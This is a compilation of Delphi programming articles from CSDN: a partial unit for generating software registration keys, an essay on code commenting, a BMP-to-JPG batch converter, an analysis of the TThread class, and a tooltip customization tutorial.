function SSLGenerateKey(pcName, pcCompany, pcApplication, pcMajor : string) : String; forward;

function SSLCrypt(pcString : PChar; pnSeed : Integer = 0) : String ; forward

function CRCExecute(pcString : String) : String ; forward;

var
gnKey : Integer;
gnSalt : Integer;

{------------------------------------------------------------------------------}
implementation

const
NULL_STRING = '';

const CRCTable : array [0..255] of LongWord =(
$00000000, $77073096, $ee0e612c, $990951ba,
$076dc419, $706af48f, $e963a535, $9e6495a3,
$0edb8832, $79dcb8a4, $e0d5e91e, $97d2d988,
$09b64c2b, $7eb17cbd, $e7b82d07, $90bf1d91,

$1db71064, $6ab020f2, $f3b97148, $84be41de,
$1adad47d, $6ddde4eb, $f4d4b551, $83d385c7,
$136c9856, $646ba8c0, $fd62f97a, $8a65c9ec,
$14015c4f, $63066cd9, $fa0f3d63, $8d080df5,

$3b6e20c8, $4c69105e, $d56041e4, $a2677172,
$3c03e4d1, $4b04d447, $d20d85fd, $a50ab56b,
$35b5a8fa, $42b2986c, $dbbbc9d6, $acbcf940,
$32d86ce3, $45df5c75, $dcd60dcf, $abd13d59,

$26d930ac, $51de003a, $c8d75180, $bfd06116,
$21b4f4b5, $56b3c423, $cfba9599, $b8bda50f,
$2802b89e, $5f058808, $c60cd9b2, $b10be924,
$2f6f7c87, $58684c11, $c1611dab, $b6662d3d,

$76dc4190, $01db7106, $98d220bc, $efd5102a,
$71b18589, $06b6b51f, $9fbfe4a5, $e8b8d433,
$7807c9a2, $0f00f934, $9609a88e, $e10e9818,
$7f6a0dbb, $086d3d2d, $91646c97, $e6635c01,

$6b6b51f4, $1c6c6162, $856530d8, $f262004e,
$6c0695ed, $1b01a57b, $8208f4c1, $f50fc457,
$65b0d9c6, $12b7e950, $8bbeb8ea, $fcb9887c,
$62dd1ddf, $15da2d49, $8cd37cf3, $fbd44c65,

$4db26158, $3ab551ce, $a3bc0074, $d4bb30e2,
$4adfa541, $3dd895d7, $a4d1c46d, $d3d6f4fb,
$4369e96a, $346ed9fc, $ad678846, $da60b8d0,
$44042d73, $33031de5, $aa0a4c5f, $dd0d7cc9,

$5005713c, $270241aa, $be0b1010, $c90c2086,
$5768b525, $206f85b3, $b966d409, $ce61e49f,
$5edef90e, $29d9c998, $b0d09822, $c7d7a8b4,
$59b33d17, $2eb40d81, $b7bd5c3b, $c0ba6cad,

$edb88320, $9abfb3b6, $03b6e20c, $74b1d29a,
$ead54739, $9dd277af, $04db2615, $73dc1683,
$e3630b12, $94643b84, $0d6d6a3e, $7a6a5aa8,
$e40ecf0b, $9309ff9d, $0a00ae27, $7d079eb1,

$f00f9344, $8708a3d2, $1e01f268, $6906c2fe,
$f762575d, $806567cb, $196c3671, $6e6b06e7,
$fed41b76, $89d32be0, $10da7a5a, $67dd4acc,
$f9b9df6f, $8ebeeff9, $17b7be43, $60b08ed5,

$d6d6a3e8, $a1d1937e, $38d8c2c4, $4fdff252,
$d1bb67f1, $a6bc5767, $3fb506dd, $48b2364b,
$d80d2bda, $af0a1b4c, $36034af6, $41047a60,
$df60efc3, $a867df55, $316e8eef, $4669be79,

$cb61b38c, $bc66831a, $256fd2a0, $5268e236,
$cc0c7795, $bb0b4703, $220216b9, $5505262f,
$c5ba3bbe, $b2bd0b28, $2bb45a92, $5cb36a04,
$c2d7ffa7, $b5d0cf31, $2cd99e8b, $5bdeae1d,

$9b64c2b0, $ec63f226, $756aa39c, $026d930a,
$9c0906a9, $eb0e363f, $72076785, $05005713,
$95bf4a82, $e2b87a14, $7bb12bae, $0cb61b38,
$92d28e9b, $e5d5be0d, $7cdcefb7, $0bdbdf21,

$86d3d2d4, $f1d4e242, $68ddb3f8, $1fda836e,
$81be16cd, $f6b9265b, $6fb077e1, $18b74777,
$88085ae6, $ff0f6a70, $66063bca, $11010b5c,
$8f659eff, $f862ae69, $616bffd3, $166ccf45,

$a00ae278, $d70dd2ee, $4e048354, $3903b3c2,
$a7672661, $d06016f7, $4969474d, $3e6e77db,
$aed16a4a, $d9d65adc, $40df0b66, $37d83bf0,
$a9bcae53, $debb9ec5, $47b2cf7f, $30b5ffe9,

$bdbdf21c, $cabac28a, $53b39330, $24b4a3a6,
$bad03605, $cdd70693, $54de5729, $23d967bf,
$b3667a2e, $c4614ab8, $5d681b02, $2a6f2b94,
$b40bbe37, $c30c8ea1, $5a05df1b, $2d02ef8d
);

{------------------------------------------------------------------------------}
function SSLEncode(pcName, pcCompany, pcAppTitle, pcMajor: String): String;
begin
{ Encrypt the data using the major version number to seed the encryption routine }
SSLCrypt(NULL_STRING, StrToIntDef( pcMajor, 0 ));
SSLCrypt(PChar( pcAppTitle ));
SSLCrypt(PChar( pcName ));
Result := SSLCrypt( PChar( pcCompany ));
end;

{------------------------------------------------------------------------------}
function SSLCrypt(pcString : PChar; pnSeed : Integer = 0) : String ;
var
nStringLen, nCharCount : Integer;
nInterim, nChar : Byte;
cChar : Char;
begin
nStringLen := length( pcString );
if nStringLen = 0 then
begin
gnKey := pnSeed;
gnSalt := pnSeed * 100;
end
else
begin
Result := '';
for nCharCount := 0 to nStringLen - 1 do
begin
cChar := pcString[ nCharCount ];
{ only encipher printable characters }
if (( cChar >= ' ' ) and ( cChar <= '~' )) then
begin
gnkey := ( gnkey and $1FFFFFFF ) xor (( gnkey shr 29 ) and $31 );
nChar := Byte( cChar );
nInterim := Mod95(( gnKey div 95 ) - ( nChar - 32 )) + 32;
Inc( gnSalt );
if ( gnSalt >= 20857 ) then
gnSalt := 0;
gnKey := gnKey + gnKey + ( nInterim xor nChar ) + gnSalt;
Result := Result + Char(nInterim);
end;
end;
end;
end;

{------------------------------------------------------------------------------}
function Mod95(pnVal : Integer): Integer;
begin
Result := pnVal;
while ( Result >= 9500 ) do
Result := Result - 9500;

while ( Result >= 950 ) do
Result := Result - 950;

while ( Result >= 95 ) do
Result := Result - 95;

while ( Result < 0 ) do
Result := Result + 95;
end;

{------------------------------------------------------------------------------}
function SSLGenerateKey(pcName, pcCompany, pcApplication, pcMajor : string) : String;
var
cKey : String;
begin
cKey := pcName + pcCompany + pcApplication + pcMajor + SSLEncode(pcName, pcCompany, pcApplication, pcMajor);
Result := CRCExecute( cKey );
end;

{------------------------------------------------------------------------------}
function CRCExecute(pcString : String) : String ;
var
nX : Integer;
nCRCVal : LongWord;
begin
nCRCVal := 0;
for nX := 1 to length( pcString ) do
nCRCVal := CRCTable[Byte(nCRCVal xor Byte(pcString[nX]))] xor (( nCRCVal shr 8 ) and $00FFFFFF );
Result := LowerCase( IntToHex( nCRCVal, 8 ));
end;

{------------------------------------------------------------------------------}
end.

我写了一个注册机以演示如何工作，当然，你应当修改它以适合自己的需要。

要在你的软件里使用我的注册机制，你需要在工程里包括Registration.pas unit和所有需要的历程。我的检查方法是从一个INI文件里
读入用户名、公司名以及注册码。如果是空的，软件提示一个对话框以提示用户注册，然后计算出注册码并和用户输入的注册码进行比
较，如果用户确认，将信息保存进INI文件并继续执行。此后，所有涉及用户名和公司名的地方重新得到。如果INI文件里不是空的，我
将计算之以确认是否正确。


CSDN_文档中心_注释还是不注释（To comment or not to comment ）

To comment or not to comment

Abstract:We see so many poorly commented programs. This article may help you understand why and how to write comments. By Pinter Gabor.

Last year, Charles Calvert and Robert Kozak wrote an excellent article about commenting techniques: "I have a comment...". We see so many poorly commented programs that I think this topic is important enough to address again -- slightly differently. Most code in CodeCentral and even the VCL source modules distributed with Delphi are not commented properly in my opinion.

When can we call a program properly commented?

It depends on who reads the code, and what is the intention of the code.

1. No one will read the source

We write these programs for testing a new feature of a programming language tool, or calculating something quickly. These programs are usually deleted after we learn the new feature or get the result of the calculation. But even if we save them it is unlikely that we will use them again. Programs of this kind are not commented. Sometimes they live longer than we expect, and we find them years after they are written and wonder who wrote them so poorly, why they were written, and what on earth they might do.

2. Only the author will read the source

These programs help us learn more complex things like database handling or graphics. Such programs may perform complex operations, even if the user interface is somewhat sketchy. Help files and additional documentation is rarely made, and we must rely entirely on the comments. Programs that we write in our free time for just the pleasure of creating them are another in this group of programs. We often forget to comment these, thinking that no one but us will see or use them. We think why should these programs be commented at all? But, sometimes they have long lives, and writing comments helps us understand the workings of the programming language. When we buy the next version of the programming language tool these commented programs could help us learn the new features.

3. The source will be read by a team and will be maintained for more than a year

These are the typical commercial programs, and are found everywhere. We can rely on the skills of the team to follow common coding techniques, and comment only those things that are uncommon. Additional documentation and help files usually exist, though they may cover mostly the use of the program and not help much in the maintenance. It often pays to keep a private help file, and place most of the explanation there. The code will be more readable despite the reduced amount of comments, and the explanations will be readily available via context-sensitive help. A typical example is the help file for a new component. A reusable component with a context-sensitive help file is a valuable asset that will help when generating a new project quickly, and help in maintaining an existing one.

4. The source is published and can be read by anyone

If we plan to publish the source either as a freeware, shareware, or part of a commercial package, we must think that users of the program will read it and form their own opinion about our programming skills. Every program of this kind is a sort of reference work. We can assume that users who are interested in the code are good programmers and know how to find information in help files and additional documentation, so we do not have to rely entirely on comments. However, we have to make allowances for programmers with different levels of knowledge and backgrounds, and explain everything in detail. Help files are very good at explaining the general structure and the intent of the code, while comments can explain the finer details. There is another advantage of commenting the program well: if users understand the way program works they might be able to help in improving it and finding bugs.

5. Example code for articles or books

These are the most critical programs of all, because they will be read by people who do not understand every aspects of the program, and may not be able to use the information provided separately. Here we have to explain how the program works and why, often repeating with different words what is in the help file. We have to be very careful to balance the information we give in comments, in printed or electronic documentation, and in help files. If we rely too much on information provided elsewhere, the code will be difficult to read. On the other hand, if we write everything in the comments it will bury the code and give the impression that these programs are too complicated.

Categories of comments

Explanation of tricky code

We cannot always avoid using tricky code. In time-critical parts of the program we may have to resort to machine-dependent tricks and even to the use of assembler. The good news is that usually only a tiny portion of the code is time-critical, so commenting every line is not really a burden.

If it is possible to rewrite the code in a less tricky manner, that may be worthwhile. An example is the conversion of a 32 element long Pascal style set to a packed binary C record. Internally both are stored as 32-bit integers, each bit corresponding to one element. The standard conversion uses the "in" operator to test every bit in the Pascal set, and sets or resets the bits in the C record one by one. It is 64 assembly instructions long, it does not make any assumption on the way of storage and easily understandable even without comments. The tricky way is only two assembly instructions long, moving one doubleword to the other.

Markers

Markers are used as temporary notes to yourself or other programmers on your team marking debug lines or unfinished code fragments. When the project is completed these markers, and often the code they refer to, are deleted.

Separators

In the early days of programming files were short, compiled separately and linked. A good rule of a thumb was to keep the file length under 100 lines. Memory was small and editors were cumbersome. With the emergence of object-oriented programming and the growing size of projects, these rules no longer apply. Editors can handle any length file, compiling is done in seconds, but programs are much, much bigger. Ten years ago a million-line program was unthinkable, nowadays-even editors can be that big. Windows.pas is only a header file but 3124 lines long and it is not overloaded with comments. Usually a group of similar components and subroutines are kept in one file. The file length is several thousand lines long. To manage files that big they are separated into sections by separator comment lines. For example the interface is the first section, global object definition is the next, all the subroutines of one object are in the following section, and the initialization/finalization code is the last section. Different separator patterns can be used for even finer resolution. Typical separator lines are identical-length comment lines full of -, =, #, *, or other symbols.

Summary of the code

This type of comment summarizes how the code works. It allows someone not familiar or interested in the details to scan through quickly. This type of comment is usually placed before a block of instructions, or before a local subroutine. As programs grow in length this comment can become more and more important.

Description of the code's intent

Description comments tell us how to use a subroutine or a component. The comment is usually placed before subroutines, before objects, and at the beginning of the file or section. A well-written description of a subroutine does not bother us by telling how the subroutine works, it only lists the input and output parameters, gives a short description of the function and possible side effects. A more detailed explanation can be given in a help file, as is often the case with components, global objects and global subroutines.

Common questions

When shall I write comments?

While writing the program! It is wrong to wait until the completion of the code. Comments can help while writing the program. And you may forget to write them in the end, or worse yet, forget how some tricky part worked. Even writing summary information and copyright messages after the project is finished is not a good practice. You know who the copyright holder is right from the beginning -- why not start the file with it?

How shall I write comments?

The main rule is to write the comment in a way that does not interfere with the reading and maintenance of the code. Writing separate comment lines before each line is unnecessary, and makes the program unwieldy and difficult to follow. The best place for comments is at the beginning of a subroutine, block of code, or object definition. If you keep subroutines short, there is little need for anything else. Endline comments are also useful to explain the intent of the code. I start endline comments at position 81. This allows me to read the code and the comments separately, or read the code only and refer to the comments only for clarification. Using XGA resolution and 8 point size letters about 120 characters/line is manageable and printable. Position 80 is almost always enough for the code, and the 40-character length is not too great a restriction on endline comments. I prefer longer lines to using abbreviations. Endline comments should give information that is not obvious from the code. If you have nothing to add then don't.

Example

A freeware program written for publication

Multi-glyph controls components are my freeware components, which I have written for publication with the intention that they might be useful for learning advanced programming skills. There are plenty of comments in the source explaining everything not obvious, but most of the information for component users is provided in the help file. The readme file gives detailed installation instructions, and contains the usual copyright and licensing information.

I included the source of the help file to encourage programmers to create their own help files, and tried to make it appear almost identical to Delphi help pages.

Two HTML pages are based on this component package. One describes the component, the other gives information about generating help files that integrate seamlessly into the Delphi Open Help system. The first is mostly repeated in the enclosed readme file and help file, while the second is maintained separately and references the component only as an example of creating help files.

Written by Pinter Gabor

H-8000, HUNGARY
Tel: +36 30 9972445, Fax: +36 22 304326
Email: propix@mail.datatrans.hu Pinter.Gabor@freemail.hu
Web: http://www.propix.hu http://www.datatrans.hu/propix


CSDN_文档中心_转换一批.bmp 文件为 .jpg

转换一批.bmp 文件为 .jpg

unit BMP2JPG_Unit;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls ,jpeg, ComCtrls, filectrl, Menus;

type
TForm1 = class(TForm)
SourceB: TButton;
Source: TLabel;
Target: TLabel;
targetB: TButton;
ConvertB: TButton;
CQ: TTrackBar;
CQL: TLabel;
ListBox: TListBox;
BRB: TButton;
NOW: TCheckBox;
Button1: TButton;
USD: TCheckBox;
StatusBar: TStatusBar;
Label1: TLabel;
Label2: TLabel;
PopupMenu1: TPopupMenu;
Addfiles1: TMenuItem;
Remove1: TMenuItem;
Convertthis1: TMenuItem;
Batchrun1: TMenuItem;
Removeall1: TMenuItem;
procedure SourceBClick(Sender: TObject);
procedure targetBClick(Sender: TObject);
procedure ConvertBClick(Sender: TObject);
procedure CQChange(Sender: TObject);
procedure BRBClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Addfiles1Click(Sender: TObject);
procedure Batchrun1Click(Sender: TObject);
procedure Convertthis1Click(Sender: TObject);
procedure Remove1Click(Sender: TObject);
procedure ListBoxClick(Sender: TObject);
procedure Removeall1Click(Sender: TObject);
private
{ Private declarations }
outputdir:string;
total:word;
public
{ Public declarations }
procedure bmp2jpg(FromBMP,ToJPG:string;Quality:byte);
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.SourceBClick(Sender: TObject);
var op:topendialog; count:integer;
begin
op:=topendialog.Create(nil);
op.Options:=[ofAllowMultiSelect,ofReadOnly,ofPathMustExist,ofFileMustExist];
op.Filter:='*.bmp|*.bmp';
op.Execute;
if op.Files.Count>0 then
begin
listbox.Items.AddStrings(op.Files);
source.Caption:=listbox.Items[0];
total:=listbox.Items.Count;
statusbar.Panels[0].Text:='Total file '+inttostr(total);
end;
op.Free;
end;

procedure TForm1.targetBClick(Sender: TObject);
var op:tsavedialog;
begin
op:=tsavedialog.Create(nil);
op.Options:=[ofReadOnly,ofPathMustExist];
op.DefaultExt:='jpg';
op.Filter:='*.jpg|*.jpg';
op.Execute;
target.Caption:=op.FileName;
op.Free;
end;

procedure TForm1.ConvertBClick(Sender: TObject);
var s:string;
begin
if now.Checked and fileexists(target.Caption) then exit;
statusbar.Panels[0].Text:='Converting...';
statusbar.Panels[1].Text:='Current file :'+extractfilename(source.Caption);
sourceb.Enabled:=false;
targetb.Enabled:=false;
cq.Enabled:=false;
convertb.Enabled:=false;
if not directoryexists(target.Caption) then
begin
s:=source.Caption;
target.Caption:=extractfilepath(s);
s:=extractfilename(s);
s:=copy(s,1,pos('.',s));
target.Caption:=target.Caption+s+'jpg';
end;
bmp2jpg(source.Caption,target.Caption,cq.Position);
sourceb.Enabled:=true;
targetb.Enabled:=true;
cq.Enabled:=true;
convertb.Enabled:=true;
statusbar.Panels[0].Text:='Ready';
statusbar.Panels[1].Text:='';
end;

procedure TForm1.CQChange(Sender: TObject);
begin
cql.Caption:='Compress Qualify '+ inttostr(cq.Position);
end;

procedure TForm1.BRBClick(Sender: TObject);
var count:integer; s:string;
begin
if listbox.Items.Count=0 then exit;
SourceB.Enabled:=false;
TargetB.Enabled:=false;
ConvertB.Enabled:=false;
if BRB.Caption='Cancel' then
begin
BRB.Caption:='Batch Run';
SourceB.Enabled:=true;
TargetB.Enabled:=true;
ConvertB.Enabled:=true;
total:=listbox.Items.Count;
statusbar.Panels[1].Text:='Total file '+inttostr(total);
statusbar.Panels[0].Text:='Total file '+inttostr(total);
end else
BRB.Caption:='Cancel';
for count:=0 to listbox.Items.Count-1 do
begin
S:=listbox.Items[0];
Source.Caption:=s;
if (usd.Checked) or (outputdir='')
then target.Caption:=extractfilepath(s)
else begin
if not directoryexists(outputdir) then exit;
if length(outputdir)=3
then target.Caption:=outputdir
else target.Caption:=outputdir+'\';
end;
s:=extractfilename(s);
s:=copy(s,1,pos('.',s));
target.Caption:=target.Caption+s+'jpg';
if now.Checked and fileexists(target.Caption) then continue;
Application.ProcessMessages;
if BRB.Caption='Batch Run' then exit;
statusbar.Panels[0].Text:='Converting...'+' ('+inttostr(count+1)+'/'+inttostr(total)+')';
statusbar.Panels[1].Text:='Current file :'+extractfilename(source.Caption);
bmp2jpg(source.Caption,target.Caption,cq.Position);
listbox.Items.Delete(0);
end;
SourceB.Enabled:=true;
TargetB.Enabled:=true;
ConvertB.Enabled:=true;
BRB.Caption:='Batch Run';
statusbar.Panels[0].Text:='Ready';
statusbar.Panels[1].Text:='';
end;

procedure TForm1.bmp2jpg(FromBMP, ToJPG: string;Quality:byte);
var jpg:tjpegimage;bmp:tbitmap;
begin
if not fileexists(FromBMP) then exit;
try
bmp:=tbitmap.Create;
bmp.LoadFromFile(FromBMP);
jpg:=tjpegimage.Create;
jpg.Assign(bmp);
jpg.CompressionQuality:=Quality;
jpg.Compress;
jpg.SaveToFile(ToJPG);
finally
bmp.Free;
jpg.Free;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
cql.Caption:='Compress Qualify '+ inttostr(cq.Position);
outputdir:='';
statusbar.Panels[0].Text:='Ready';
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
selectdirectory('Select a output directory','',outputdir);
target.caption:=outputdir;
if directoryexists(outputdir)
then usd.Checked:=true
else usd.Checked:=false;
end;

procedure TForm1.Addfiles1Click(Sender: TObject);
begin
SourceBClick(nil);
end;

procedure TForm1.Batchrun1Click(Sender: TObject);
begin
BRBClick(nil);
end;

procedure TForm1.Convertthis1Click(Sender: TObject);
begin
ConvertBClick(nil);
end;

procedure TForm1.Remove1Click(Sender: TObject);
begin
Listbox.DeleteSelected;
statusbar.Panels[0].Text:='Total file '+inttostr(total);
end;

procedure TForm1.ListBoxClick(Sender: TObject);
begin
if listbox.SelCount>0 then
begin
Source.Caption:=ListBox.Items[Listbox.ItemIndex];
Statusbar.Panels[1].Text:='Current select file '+Extractfilename(Source.Caption);
end;
end;

procedure TForm1.Removeall1Click(Sender: TObject);
begin
listbox.Clear;
statusbar.Panels[0].Text:='Ready';
end;

end.


CSDN_文档中心_转载：TThread类剖析

TThread类剖析

摘要

本文从分析源代码的角度介绍Delphi5中的TThread类的封装和运行机理，介绍了TThread类的优缺点。

关键词：Delphi5，TThread，Windows API

目录

1.概述

2.剖析TThread类

2.1 TThread的优点

2.2 TThread的封装和运行机理

3.结束语

4.致谢

5.参考文献

全文

1.概述

根据Windows SDK文档的说明，在Windows线程中的运行实体是类型为：function ThreadFunc(Parameter: pointer): integer的函数（翻译成Delphi的格式）。但是我们都知道，在Delphi中线程被封装成一个TThread类。为什么Delphi要将它封装成一个类？Delphi是如何封装的呢？我们怎样才能充分的利用两者的优点？这就是本下面要介绍的。

2.剖析TThread类

2.1 TThread的优点

将线程作为类来封装有着许多优点。首先它能清晰、安全的界限线程相关的局部变量和进程相关的全局变量。类——对象的模型到实体的映射关系保证了声明在类中的任何变量都是局部的，声明在类外的任何变量都是全局的。所以在写新线程的Execute函数只要注意对类外部的变量、方法的访问就可以了，至于类内部的变量、方法则可以任意使用而不用考虑同步的问题。将线程封装成类的更重要的好处是写新线程的时候可以充分利用类的优点。你可以通过继承来重用父类的功能，这实在是一个激动人心的功能。

2.2 TThread的封装和运行机理

既然已经知道将线程封装成类有诸多好处，作为一个称职的程序员一定会去了解Delphi是如何将线程封装成类的，有没有更好的封装的方法的。

Delphi5中TThread类是这样声明的：

{ TThread }

EThread = class(Exception);

TThreadMethod = procedure of object;
TThreadPriority = (tpIdle, tpLowest, tpLower, tpNormal, tpHigher, tpHighest,
tpTimeCritical);

TThread = class
private
FHandle: THandle;
FThreadID: THandle;
FTerminated: Boolean;
FSuspended: Boolean;
FFreeOnTerminate: Boolean;
FFinished: Boolean;
FReturnValue: Integer;
FOnTerminate: TNotifyEvent;
FMethod: TThreadMethod;
FSynchronizeException: TObject;
procedure CallOnTerminate;
function GetPriority: TThreadPriority;
procedure SetPriority(Value: TThreadPriority);
procedure SetSuspended(Value: Boolean);
protected
procedure DoTerminate; virtual;
procedure Execute; virtual; abstract;
procedure Synchronize(Method: TThreadMethod);
property ReturnValue: Integer read FReturnValue write FReturnValue;
property Terminated: Boolean read FTerminated;
public
constructor Create(CreateSuspended: Boolean);
destructor Destroy; override;
procedure Resume;
procedure Suspend;
procedure Terminate;
function WaitFor: LongWord;
property FreeOnTerminate: Boolean read FFreeOnTerminate write FFreeOnTerminate;
property Handle: THandle read FHandle;
property Priority: TThreadPriority read GetPriority write SetPriority;
property Suspended: Boolean read FSuspended write SetSuspended;
property ThreadID: THandle read FThreadID;
property OnTerminate: TNotifyEvent read FOnTerminate write FOnTerminate;
end;

准确地说，TThread对象是一个带有线程实例的不可见窗体对象（长宽都为0），我把这个窗体叫做线程窗体。这个线程窗体有该TThread类的所有对象共享。TThread在构造的时候线程是否第一次创建，如果是就创建线程窗体，然后增加线程计数，最后才建立线程实例。同理，TThread对象在销毁的时候，先减少线程计数，然后判断计数是否为0，如果是就销毁线程窗体。

为什么要建立一个线程窗体呢？答案就是TThread中的同步函数Synchronize()的需要。线程对象存取其他VCL的属性时与其他线程的同步机制是通过消息队列来实现的。当线程函数执行Synchronize()时，他就向线程窗体发送一条CM_EXECPROC消息。因为线程窗体是进程的一个窗体（虽然它不可见），所以发向线程窗体的消息都会进入进程消息队列，而消息队列的串行处理的特性保证不会出现访问冲突。这是一个简单而有效的解决方案。我不知道有没有人在控制台程序中应用多线程，如果有的话，TThread类可能就不太适合了。这种情况下要么直接应用线程函数，要么自己写一个新的TNewThread类了。

Delphi是在TThread类的外面声明了一个局部函数ThreadProc。这个函数就是Windows SDK中介绍的线程函数，其声明如下：

function ThreadProc(Thread: TThread): Integer;
var
FreeThread: Boolean;
begin
try
Thread.Execute;
finally
FreeThread := Thread.FFreeOnTerminate;
Result := Thread.FReturnValue;
Thread.FFinished := True;
Thread.DoTerminate;
if FreeThread then Thread.Free;
EndThread(Result);
end;
end;

Delphi没有将线程函数作为TThread的一个成员函数，我想把ThreadProc放到TThread的Proctected段中TThread的灵活性可能会更好一点，不过现在的方法也不错。可以看到ThreadProc以TThread对象作为Parameter参数。这样可以保证TThread对象进入线程的堆栈中，一个TThread对象不破坏另一个同类型TThread对象的数据。当然，创建线程的线程还是可以访问新线程中的数据的，Terminate过程就是这样做的。所以TThread的数据还是可能被其他线程破坏的。所以外部线程要访问线程的数据要小心处理，Terminate()是一个比较典型的：外部线程只写，内部线程只读就能很好的工作，如果两个线程都又读又写就可能导致逻辑混乱。

TThread类在构造线程实例是没有直接调用CreateThread() API函数，而是使用了一个BeginThread()函数。不知是什么原因，该函数并没有相应的Delphi Help文档，只是在“TThreadFunc type”的介绍中一笔带过。可能是Borland认为它的参数在以后还会修改吧。不过该函数和CreateThread() API的参数是一模一样的。这是一个让人兴奋的地方，因为BeginThread()加入了Windows API没有的异常处理功能。有意思的是，Delphi在BeginThread()由创建了一个新的线程函数，而把原来的线程函数和参数打包成TThreadRec作为新函数的Parameter。有关Delphi5中BeginThread的定义如下：

type
PThreadRec = ^TThreadRec;
TThreadRec = record
Func: TThreadFunc;
Parameter: Pointer;
end;

function ThreadWrapper(Parameter: Pointer): Integer; stdcall;
asm
CALL _FpuInit
XOR ECX,ECX
PUSH EBP
PUSH offset _ExceptionHandler //新增加的Delphi的异常机制
MOV EDX,FS:[ECX]
PUSH EDX
MOV EAX,Parameter
MOV FS:[ECX],ESP

MOV ECX,[EAX].TThreadRec.Parameter
MOV EDX,[EAX].TThreadRec.Func
PUSH ECX
PUSH EDX
CALL _FreeMem
POP EDX
POP EAX
CALL EDX //调用原来的线程函数

XOR EDX,EDX
POP ECX
MOV FS:[EDX],ECX
POP ECX
POP EBP
end;

function BeginThread(SecurityAttributes: Pointer; StackSize: LongWord;
ThreadFunc: TThreadFunc; Parameter: Pointer; CreationFlags: LongWord;
var ThreadId: LongWord): Integer;
var
P: PThreadRec;
begin
New(P);
P.Func := ThreadFunc;
P.Parameter := Parameter;
IsMultiThread := TRUE;
Result := CreateThread(SecurityAttributes, StackSize, @ThreadWrapper, P,
CreationFlags, ThreadID);
end;

让人觉得美中不足的地方是TThread类在调用BeginThread时传递的SercurityAttributes和StackSize参数分别是nil和0，使BeginThread()在调用CreateThread()时使用了缺省的安全设置和默认堆栈大小。有关这两个参数代表什么意义请查阅Windows SDK文档。

3.结束语

由于时间仓促，简单介绍我认为Delphi的帮助文档中没有说明的部分。不知你看后有什么疑惑或是觉得我什么讲的不对的地方，请来信告知: zg@hzhistar.com 。请多多指教！

4.致谢

"其实，你这篇文章只适用于Delphi5，Delphi6已经改变了Synchronize的做法，改用事件（Event）和临界区（CriticalSection）的配合来进行同步多线程对VCL控件的访问。其它还有些少改动的地方，相信你看源码就会发现。
另外，（或许你已经知道了）Delphi的文档也很清楚地说明了，调用BeginThread和EndThread来替代Win32API的CreateThread和ExitThread（其实《Windows 核心编程》也指出了应使用开发环境提供的_beginthreadex等函数，具体原因看书吧），至于Delphi，调用BeginThread的一个非常重要的作用就是将全局变量IsMultiThread设为True，因为Delphi的许多运行机制是当该变量为True时才是线程安全的，例如GetMem和FreeMem函数。"
——摘自 "hgd" <hgd01@263.net>

上述的朋友给了我严谨的批评和暖和的鼓舞，我在这里表示衷心的感谢！如果你给我提供了你的想法，我就在这里写上你的大名。:)

5.参考文献

1.《Windows核心编程》，机械工业出版社，2000年5月（虽然中文翻译奇烂）
2.《Microsoft Platform SDK》，microsoft, 2001年8月
3.《Delphi 5.0 帮助文档》、Delphi 5.0源代码


CSDN_文档中心_装扮工具提示条

Delphi技巧之

装扮工具提示条

什么是工具提示条？在Windows程序中，当鼠标移动到工具条相应的按钮上时，会弹出一个小窗口来说明该按钮的作用，这个小窗口就叫做工具提示条。一般情况下它的背景色为淡黄色，字体色为黑色。面对这样千篇一律的面孔不知你是不是有些厌烦，是否想过给它化化妆，使其改头换面呢？下面我们就以Delphi为工具，对它动些小手术。

在Delphi中，我们可以设置控件的Hint和ShowHint属性来显示工具提示条。当然，这并不是我们所希望的效果。幸好Delphi在Application对象中给我们提供了HintColor属性，用它可以设置工具提示条的背景颜色。在程序主窗体的创建事件中写入Application.HintColor:=clRed，然后运行一下，怎么样？效果不错吧，背景变成红色了。接下来的问题是，我们如何来改变显示文字的颜色。（嗯，让我好好想想）

Delphi中有一个THintWindow类，看名字就知道它是干什么的了。不错，Delphi就是通过它来实现工具提示条的。在它的创建方法（Create）中只有四条语句：

Constructor THintWindow.Create(AOwner: TComponent);

Begin

Inherited Create (AOwner);

Color := $80FFFF;

Canvas.Font := Screen.HintFont;

Canvas.Brush.Style := bsClear;

End;

它首先重载了父类的创建方法，然后设置了背景颜色、字体和画刷样式。从这里可以设想一下，如果我们创建一个THintWindow的派生类，并重载它的创建方法，然后在此方法中重新定义字体，不就实现了我们所希望的效果吗？那就让我们行动起来吧。

首先新建一应用程序，在Form1窗体上添加一个用于测试的按钮Button1，设置ShowHint属性为True，Hint属性为“这是一个按钮”，然后在代码页的 Implementation 部分前面声明MyHint类：

Type

MyHint=class (THintWindow)

Constructor Create (AOwner: TComponent); override;

End;

该类只有一个方法，用 override 关键字来表示重载了父类（THintWindow）的创建方法。接着在 Implementation 部分写入此方法的代码：

Constructor MyHint.Create(AOwner: TComponent);

Begin

inherited Create(AOwner); //重载父类方法

with Canvas do begin //设置字体

Font.Name := '楷体_GB2312';

Font.Color :=clYellow;

Font.Size :=20;

Brush.Style := bsClear;

End;

End;

在此过程中我们重新定义了字体的名称、颜色及大小，现在就可以使用这个新类了。那么如何使用呢？这里还要说明一点：在Delphi中有一个隐含的变量HintWindowClass，它的作用就是指定在程序运行时显示的工具提示条所使用的类，其声明如下：

var HintWindowClass: THintWindowClass = THintWindow;

在程序中我们可以动态改变此变量，如在主窗体的创建事件中写入：HintWindowClass:=MyHint;这样就可以让它使用我们新创建的类了。好了，现在来运行一下程序，看看效果如何？工具提示条的字体变成了楷体，尺寸也变大了，颜色……，怎么颜色没有改变呢？新的问题出现了，还是再看看THintWindow的代码吧。

问题就出在THintWindow的Paint方法上，其代码如下：

Procedure THintWindow.Paint;

var

R: TRect;

Begin

R := ClientRect;

Inc (R.Left, 2);

Inc (R.Top, 2);

Canvas.Font.Color := clInfoText; //请注意这一句

DrawText(Canvas.Handle, PChar(Caption), -1, R, DT_LEFT or DT_NOPREFIX or DT_WORDBREAK or DrawTextBiDiModeFlagsReadingOnly);

End;

